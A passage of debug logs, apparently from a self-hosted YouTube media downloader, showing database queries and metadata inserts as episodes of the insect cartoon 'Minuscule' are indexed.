s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:50.300 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:50.301 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89086] 00:52:50.301 [debug] Current batch of media processed. Will check again in 1000ms 00:52:51.303 [debug] Current batch of media processed. Will check again in 1000ms 00:52:52.304 [debug] Current batch of media processed. Will check again in 1000ms 00:52:53.305 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 316, "filename" => "/downloads/Miniscule Season 1/2020-02-25 Minuscule - la fourmilière infernale⧸Infernal Anthill (Season 1)/Minuscule - la fourmilière infernale⧸Infernal Anthill (Season 1) [BR8MyFRNZAo].mp4", "id" => "BR8MyFRNZAo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BR8MyFRNZAo", "playlist_index" => 94, "timestamp" => 1582644600, "title" => "Minuscule - la fourmilière infernale/Infernal Anthill (Season 1)", "upload_date" => "20200225"} 00:52:53.306 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1660.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:53.307 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1661.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:53.309 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1662.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-25 15:30:00Z], 4] 00:52:53.316 [debug] QUERY OK source="media_items" db=5.8ms idle=1635.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la fourmilière infernale/Infernal Anthill (Season 1)", "aef6db78-e5ce-420f-b7c1-70d83d6b9127", "BR8MyFRNZAo", 316, false, 4, "https://www.youtube.com/watch?v=BR8MyFRNZAo", 94, "/downloads/Miniscule Season 1/2020-02-25 Minuscule - la fourmilière infernale⧸Infernal Anthill (Season 1)/Minuscule - la fourmilière infernale⧸Infernal Anthill (Season 1) [BR8MyFRNZAo].mp4", false, false, false, [], 1, ~U[2020-02-25 15:30:00Z], ~U[2025-12-14 07:52:53Z], ~U[2025-12-14 07:52:53Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la fourmilière infernale/Infernal Anthill (Season 1)", "BR8MyFRNZAo", 316, false, 4, "https://www.youtube.com/watch?v=BR8MyFRNZAo", "/downloads/Miniscule Season 1/2020-02-25 Minuscule - la fourmilière infernale⧸Infernal Anthill (Season 1)/Minuscule - la fourmilière infernale⧸Infernal Anthill (Season 1) [BR8MyFRNZAo].mp4", false, ~U[2020-02-25 15:30:00Z]] 00:52:53.316 [debug] QUERY OK source="sources" db=0.4ms idle=639.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:53.317 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=10.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:53.318 [debug] QUERY OK source="media_items" db=0.5ms idle=10.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89088] 00:52:53.318 [debug] Current batch of media processed. Will check again in 1000ms 00:52:54.319 [debug] Current batch of media processed. Will check again in 1000ms 00:52:55.320 [debug] Current batch of media processed. Will check again in 1000ms 00:52:56.321 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 332, "filename" => "/downloads/Miniscule Season 1/2020-02-18 Minuscule - la conserve⧸Out of a Tin Can (Season 1)/Minuscule - la conserve⧸Out of a Tin Can (Season 1) [yNBi0yEhu-s].mp4", "id" => "yNBi0yEhu-s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yNBi0yEhu-s", "playlist_index" => 95, "timestamp" => 1582039803, "title" => "Minuscule - la conserve/Out of a Tin Can (Season 1)", "upload_date" => "20200218"} 00:52:56.322 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1676.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:56.323 [debug] QUERY OK source="sources" db=0.4ms idle=1677.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:56.324 [debug] QUERY OK source="media_items" db=1.0ms idle=1678.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-18 15:30:03Z], 4] 00:52:56.328 [debug] QUERY OK source="media_items" db=2.0ms idle=1645.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la conserve/Out of a Tin Can (Season 1)", "d98c305a-349e-4cb8-bec2-589fa75ba1ca", "yNBi0yEhu-s", 332, false, 4, "https://www.youtube.com/watch?v=yNBi0yEhu-s", 95, "/downloads/Miniscule Season 1/2020-02-18 Minuscule - la conserve⧸Out of a Tin Can (Season 1)/Minuscule - la conserve⧸Out of a Tin Can (Season 1) [yNBi0yEhu-s].mp4", false, false, false, [], 1, ~U[2020-02-18 15:30:03Z], ~U[2025-12-14 07:52:56Z], ~U[2025-12-14 07:52:56Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la conserve/Out of a Tin Can (Season 1)", "yNBi0yEhu-s", 332, false, 4, "https://www.youtube.com/watch?v=yNBi0yEhu-s", "/downloads/Miniscule Season 1/2020-02-18 Minuscule - la conserve⧸Out of a Tin Can (Season 1)/Minuscule - la conserve⧸Out of a Tin Can (Season 1) [yNBi0yEhu-s].mp4", false, ~U[2020-02-18 15:30:03Z]] 00:52:56.328 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=645.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:56.329 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:56.330 [debug] QUERY OK source="media_items" db=0.6ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89090] 00:52:56.331 [debug] Current batch of media processed. Will check again in 1000ms 00:52:57.332 [debug] Current batch of media processed. Will check again in 1000ms 00:52:58.333 [debug] Current batch of media processed. Will check again in 1000ms 00:52:59.334 [debug] Current batch of media processed. Will check again in 1000ms 00:53:00.335 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 332, "filename" => "/downloads/Miniscule Season 1/2019-12-31 Minuscule - la nouille⧸Noodle (Season 1)/Minuscule - la nouille⧸Noodle (Season 1) [nDQRfpnIS0M].mp4", "id" => "nDQRfpnIS0M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nDQRfpnIS0M", "playlist_index" => 96, "timestamp" => 1577806203, "title" => "Minuscule - la nouille/Noodle (Season 1)", "upload_date" => "20191231"} 00:53:00.337 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=690.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:00.338 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=692.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:00.339 [debug] QUERY OK source="media_items" db=1.1ms idle=693.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-12-31 15:30:03Z], 4] 00:53:00.369 [debug] QUERY OK source="media_items" db=28.3ms idle=694.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la nouille/Noodle (Season 1)", "defaa668-601e-4830-9fde-eb54261f793e", "nDQRfpnIS0M", 332, false, 4, "https://www.youtube.com/watch?v=nDQRfpnIS0M", 96, "/downloads/Miniscule Season 1/2019-12-31 Minuscule - la nouille⧸Noodle (Season 1)/Minuscule - la nouille⧸Noodle (Season 1) [nDQRfpnIS0M].mp4", false, false, false, [], 1, ~U[2019-12-31 15:30:03Z], ~U[2025-12-14 07:53:00Z], ~U[2025-12-14 07:53:00Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la nouille/Noodle (Season 1)", "nDQRfpnIS0M", 332, false, 4, "https://www.youtube.com/watch?v=nDQRfpnIS0M", "/downloads/Miniscule Season 1/2019-12-31 Minuscule - la nouille⧸Noodle (Season 1)/Minuscule - la nouille⧸Noodle (Season 1) [nDQRfpnIS0M].mp4", false, ~U[2019-12-31 15:30:03Z]] 00:53:00.369 [debug] QUERY OK source="sources" db=0.4ms idle=679.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:00.371 [debug] QUERY OK source="media_profiles" db=0.8ms idle=33.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:00.372 [debug] QUERY OK source="media_items" db=0.5ms idle=33.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89092] 00:53:00.372 [debug] 